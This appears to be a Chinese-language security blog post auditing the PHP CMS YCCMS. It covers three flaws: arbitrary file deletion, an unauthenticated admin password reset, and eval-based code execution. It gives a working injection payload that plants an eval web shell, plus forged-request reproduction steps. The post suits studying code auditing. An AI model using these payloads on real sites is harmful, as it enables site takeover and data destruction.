前言
跟着审了一下YCCMS
任意文件删除
这个漏洞存在于后台,管理图片处,我们跟进一下那个代码:
PicAction.class.php 文件中的delall() 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function delall() { if(isset($_POST['send'])){ if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7); $_fileDir=ROOT_PATH.'/uploads/'; foreach($_POST['pid'] as $_value){ $_filePath=$_fileDir.$_value; if(!unlink($_filePath)){ tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7); }else{ header('Location:?a=pic'); } } } }
|
没对pid 参数做任何处理,然后 value直接拼接,unlink($_filePath) 通过这个造成任意文件删除。
复现:
我们新建一个测试文件:

在后台其他功能 -> 图片管理 -> 删除选中图片 然后抓包修改一下路径:

发现新建的test.txt 文件被成功删除。
任意密码修改
AdminAction.class.php 中的 update 方法,没有对身份做认证,只对账号,密码,第二次输入密码,作了限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function update() { if(isset($_POST['send'])) { if(validate::isNullString($_POST['username'])) Tool::t_back('用户名不能为空','?a=admin&m=update'); if(validate::isNullString($_POST['password'])) Tool::t_back('密码不能为空!','?a=admin&m=update'); if(!(validate::checkStrEquals($_POST['password'], $_POST['notpassword']))) Tool::t_back('两次密码不一致!','?a=admin&m=update'); $this->_model->username=$_POST['username']; $this->_model->password=sha1($_POST['password']); $_edit=$this->_model->editAdmin(); if($_edit){ tool::layer_alert('密码修改成功!','?a=admin&m=update',6); }else{ tool::layer_alert('密码未修改!','?a=admin&m=update',6); } } $this->_tpl->assign('admin', $_SESSION['admin']); $this->_tpl->display('admin/public/update.tpl'); }
|
在跟进一下editAdmin()
1 2 3 4 5 6 7 8 9 10 11 12
| public function editAdmin() { $_sql="UPDATE my_admin SET username='$this->username', password='$this->password' WHERE id=1 LIMIT 1"; return parent::update($_sql); }
|
然后这里直接作了SQL更新操作语句处理。
先抓包看一下更改操作包的结构:

然后我们退出登陆,直接按照格式伪造一下相关参数:

然后尝试用admin/123456 去登陆,发现直接登陆成功。
命令执行
run.inc.php 中存在一行 Factory::setAction()->run(); 这样的调用
然后我们具体跟进这个类的setAction 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| static public function setAction() { $_a=self::getA(); if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) { if (!isset($_SESSION['admin'])) { header('Location:'.'?a=login'); } } if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login'; eval('self::$_obj = new '.ucfirst($_a).'Action();'); return self::$_obj; }
|
然后看 getA() :
1 2 3 4 5 6 7 8
| static public function getA() { if(isset($_GET['a']) && !empty($_GET['a'])) { return $_GET['a']; } return 'login'; }
|
GET传值,参数可控。
主要是这里:
1 2
| if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login'; eval('self::$_obj = new '.ucfirst($_a).'Action();');
|
如果判断路径存在,则执行eval() ,我们看一下ucfirst()函数,发现:
1
| function ucfirst ($str) {}
|
空的,好像没太大用处。那么现在的问题就是怎么绕过file_exists 检测,这里file-exists 有一个bug。
遇见/../ 会跳转到上一个目录,因为这里ROOT_PATH/controller 是存在的,我们构造payload:
Factory();eval($_POST[v]);//../
我们直接在/config/count.php 那里传入,直接上蚁剑getshell :

成功getshell